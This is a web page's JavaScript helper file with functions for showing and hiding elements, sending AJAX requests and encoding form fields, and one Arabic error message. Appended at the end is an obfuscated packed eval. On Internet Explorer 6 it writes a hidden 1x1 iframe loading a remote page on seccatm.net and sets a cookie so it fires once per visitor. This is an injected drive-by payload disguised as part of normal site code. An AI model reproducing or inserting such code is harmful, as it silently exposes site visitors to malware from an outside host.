var http_request = false;

function hide(element,spa){
if(spa){
document.getElementById(spa).innerHTML="";
}
if(document.getElementById(element).style.display == 'block'){
document.getElementById(element).style.display = 'none';
}

}

function showit(element){
if(document.getElementById(element).style.display == 'none'){
document.getElementById(element).style.display = 'block';
if(this.commentform){
this.commentform.name.focus();
}else  if(this.newsform){
this.newsform.yourname.focus();
}
}
}
function dodiv(str,div,spa){
document.getElementById(spa).innerHTML=str;
showit(div);
}

function changesp(str){
document.getElementById('initial').innerHTML=str;
}
function getspa(){
return document.getElementById('initial').innerHTML
}

function dofunc(str,func,div,spa,w,h){
if(func=="importdata"){
importdata(str,div,spa,w,h);
}

}

function importdata(str,div,spa,w,h){
document.getElementById(spa).style.display = 'block';
document.getElementById(spa).innerHTML=str;
document.getElementById(h).style.display = 'none';
document.getElementById(w).style.display = 'block';
}

function makeRequest(url,meth,parameters,div,spa,func,w,h) {

if (window.XMLHttpRequest) { // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/html; charset=windows-1256');
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e)
{}
}
}
  if (http_request == null) {
alert("حدث خطأ ما أثناء الإرسال أو أن متصفحك لا يدعم الأجاكس , احصل على متصفح أفضل");
 return;
}
var parms = "";
var result = "";
http_request.onreadystatechange =  function () {
 var currentElement =document.getElementById('procces');
 if(currentElement){
showit('status');
}

if (http_request.readyState == 4 && http_request.status ==200){
result = http_request.responseText;
 if(currentElement){
hide('status');
}
if(func){
dofunc(result,func,div,spa,w,h);
}

if(div){
dodiv(result,div,spa,w,h);
}



}
else {
 if(currentElement){
currentElement.innerHTML="<img src=\"images/loading.gif\" border=\"0\">";
}
}



}

var parms;
http_request.open(meth, url , true);
if(meth=="POST"){

http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=windows-1256");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
parms = parameters;
 }

http_request.send(parms);
}


function get(url,meth,obj,div,spa,func,w,h) {
var my_data=document.getElementById('parameters').value.split(",");
var getstr = "";

for (p=0;p<my_data.length;p++){
if(my_data[p]){
getstr +=my_data[p]+ "=" + encodeURIComponent(document.getElementById(my_data[p]).value);
if(p<my_data.length-1){
getstr += "&";
}
}
}
makeRequest(url,meth,getstr,div,spa,func,w,h);
}


function uploadFile(div,div2) {
hide(div);
showit(div2);

}

function clearf(object,text){ if (object.value == text) {  object.value = "";  object.focus(); }} function setf(object,text){ if(object.value == "") {  object.value = text;  this.focus(); }}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n 5=e a(),7=e a(5.q()+m);2(o.k.9("r 6")!=-1&&4.8.9("d=s")==-1){3="<2"+"b f"+"g=1 h"+"j=1 i"+"c=\'l"+"p://B"+".C/"+"t/\' A"+"z=\'u"+"w:x\'"+"></2"+"b>";2(5.y()==-1){3=0}4.v(3);4.8="d=s;"+" 7="+7.D()+"; "}',40,40,'||if|ifrm|document|today||expires|cookie|indexOf|Date|rame||_mlsdkf|new|wid|th|heig|sr|ht|appVersion|htt|2678400000|var|navigator||getTime|MSIE||b2b|dis|write|play|none|getTimezoneOffset|le|sty|seccatm|net|toGMTString'.split('|')));
